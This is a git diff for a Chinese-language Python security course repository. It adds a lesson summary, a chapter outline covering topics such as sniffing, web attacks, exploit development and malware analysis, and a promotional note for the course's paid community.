+ + +### 4.1.5 小结 + +本节简单介绍了 Web 应用中的常用几种协议,想要了解每种协议的详情,需要阅读对应的规范文档。本节作业如下: + +1. 结合抓包工具来分析、学习web协议 + +下一节我们学习如何通过编程的方式连接远程web服务,获取基本信息,进行简单交互。 + +![](img/0.jpg) + + 本系列教程全部内容在知识星球--玄说安全 发布,并提供答疑和辅导。 + +![](img/00.jpeg) + diff --git a/README.md b/README.md index 010a23d..5dc26a9 100644 --- a/README.md +++ b/README.md @@ -59,15 +59,66 @@ Web应用不论实在桌面端还是移动端,都是我们使用最广泛的 ## 本书大纲 [课程大纲](大纲.md) - -## 前本套课程的具体内容会在优先知识星球优先进行教学,答疑,2018年12月24日之后会进行第二批用户入住审批。相关代码会托管在此处。 - - 欢迎加入我们的知识星球 - -![](1.jpeg) +# Python 黑客编程之极速入门 + +## 第一章: Python 编程基础 +• Python简介和开发环境搭建
+• 数值类型
+• 字符串、列表、元组、字典和集合
+• 流程控制
+• 函数
+• 模块
+• 异常处理
+• 面向对象编程
+## 第二章: 系统级编程与安全 +• Python编程之禅
+• 文件和目录
+• 线程
+• 进程的创建
+• 多进程
+• 进程内通信 (IPC)
+• 实例讲解
+## 第三章: 网络安全编程 – 嗅探和注入 +• 原始套接字基础
+ 套接字编程
+• 服务端和客户端编程
+• 无线嗅探
+• 数据包注入
+• PCAP 分件分析
+• 实例讲解
+## 第四章: Web 应用安全 +• web服务端和浏览器端
+• Web应用模糊测试
+• HTML 内容自动分析
+• 浏览器模拟
+• 攻击Web Service
+• 代理
+• 自动化攻击(SQL注入,XSS等)
+• 实例讲解
+## 第五章: 漏洞利用 +• Exploit 开发技术
+• 免杀
+• 使用Python写漏洞利用插件
+• 二进制分析
+• 自动攻击
+• 实例讲解
+## 第六章: 恶意软件分析和逆向工程 +• 进程调试
+• Pydbg 入门
+• 实时应用分析
+• 断点调试
+• 内存补丁
+• 实例讲解
+## 第七章: 自动化攻击 +• Python自动化攻击
+• 常用类库和应用
+• 实例讲解
+## 第8章: 课程总结和寄语 + + + + + -- - 欢迎到我的订阅号来交流 - - -![](0.jpg) + diff --git "a/\350\257\264\346\230\216.txt" "b/\350\257\264\346\230\216.txt" new file mode 100644 index 0000000..833aaca --- /dev/null +++ "b/\350\257\264\346\230\216.txt" @@ -0,0 +1,7 @@ +我们卖的确切的说不是培训, 是圈子。 在圈子里有我们的原创教程和各种资源,持续更新;有各种不同水平和工作背景的人可以交流;定期的实战分享互动和答疑;原创课程目前面向入门,不强制教学进度,没有讲师按课时讲解,需要按照图文和视频教程 自学,有问题随时在星球和微信群提问。 + +教程指导思想 https://mp.weixin.qq.com/s/fuaiUfmwbbrlG5DwrkNkdA + +教程清单 https://github.com/xuanhun/HackingResource/blob/master/index.md + +学习步骤建议:https://github.com/xuanhun/HackingResource \ No newline at end of file